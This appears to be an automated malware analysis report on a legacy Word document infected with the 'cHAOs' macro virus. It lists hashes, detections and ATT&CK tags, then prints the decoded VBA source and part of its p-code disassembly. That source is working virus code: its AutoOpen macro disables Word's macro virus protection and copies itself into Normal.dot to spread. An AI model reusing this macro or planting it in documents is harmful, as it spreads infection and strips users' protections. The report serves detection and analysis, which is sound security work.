Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4912cba14a1e8b2c…

MALICIOUS

Office (OLE)

57.5 KB Created: 1999-01-11 12:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6b39474412d49ba6ff6d1cddd4d3ca59 SHA-1: d68457f14c1d03df62710bba9aae985eb75efb46 SHA-256: 4912cba14a1e8b2c7e976ff579144329a235b28face91c52abeabfc2ba60941c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains legacy WordBasic markers and VBA macros, including AutoOpen and Auto_Close functions, indicating a malicious intent to execute code upon opening and potentially spreading to the Normal.dot template. The AutoOpen macro attempts to copy itself to Normal.dot, suggesting a persistence mechanism. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Poc-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Poc-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5162 bytes
SHA-256: 7d7af1d9a425d4db73387011be983ce6cab82b6a89e20919e0b99dfeca050747
Detection
ClamAV: Doc.Trojan.Poc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cHAOs"
'cHAOs virus authored by aLPHABETs
'aLPHABETs InC.

Sub ViewVBCode()
End Sub

Sub AutoOpen()
Application.EnableCancelKey = False
Options.VirusProtection = False
Set V1Stealth = CommandBars("Tools")
V1Stealth.Enabled = False

If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "cHAOs" Then GoTo EndCleaner
  Next i
    VSource = NormalTemplate.FullName
    VTarget = ActiveDocument.FullName
Else
  For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "cHAOs" Then GoTo EndCleaner
  Next i
    VSource = ActiveDocument.FullName
    VTarget = NormalTemplate.FullName
End If
Application.OrganizerCopy VSource, VTarget, "cHAOs", wdOrganizerObjectProjectItems
EndCleaner:
End Sub

Sub Save()
Set myDocument = ActiveDocument
With myDocument.Shapes.AddShape(msoSmileyFace, 90, 90, 90, 50).Fill
    .ForeColor.RGB = RGB(128, 0, 0)
    .BackColor.RGB = RGB(170, 0, 170)
    .TwoColorGradient msoGradientHorizontal, 1
End With
End Sub

Sub AutoClose()
Dim Count As Integer
    For Count = 1 To 10
        Beep
        Beep
    Next
MsgBox "Embrace The Power Of Chaos!!"
End Sub




' Processing file: /opt/analyzer/scan_staging/37da482c855b409e8150e907dbb7db89.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1770 bytes
' Macros/VBA/cHAOs - 5026 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0021 "cHAOs virus authored by aLPHABETs"
' Line #1:
' 	QuoteRem 0x0000 0x000E "aLPHABETs InC."
' Line #2:
' Line #3:
' 	FuncDefn (Sub ViewVBCode())
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Sub AutoOpen())
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #9:
' 	SetStmt 
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	Set V1Stealth 
' Line #10:
' 	LitVarSpecial (False)
' 	Ld V1Stealth 
' 	MemSt Enabled 
' Line #11:
' Line #12:
' 	Ld ThisDocument 
' 	MemLd New 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #14:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "cHAOs"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo EndCleaner 
' 	EndIf 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #16:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St VSource 
' Line #17:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St VTarget 
' Line #18:
' 	ElseBlock 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #20:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "cHAOs"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo EndCleaner 
' 	EndIf 
' Line #21:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #22:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	St VSource 
' Line #23:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	St VTarget 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld VSource 
' 	Ld VTarget 
' 	LitStr 0x0005 "cHAOs"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #26:
' 	Label EndCleaner 
' Line #27:
' 	EndSub 
' Line #28:
' Line #29:
' 	FuncDefn (Sub Save())
' Line #30:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set myDocument 
' Line #31:
' 	StartWithExpr
... (truncated)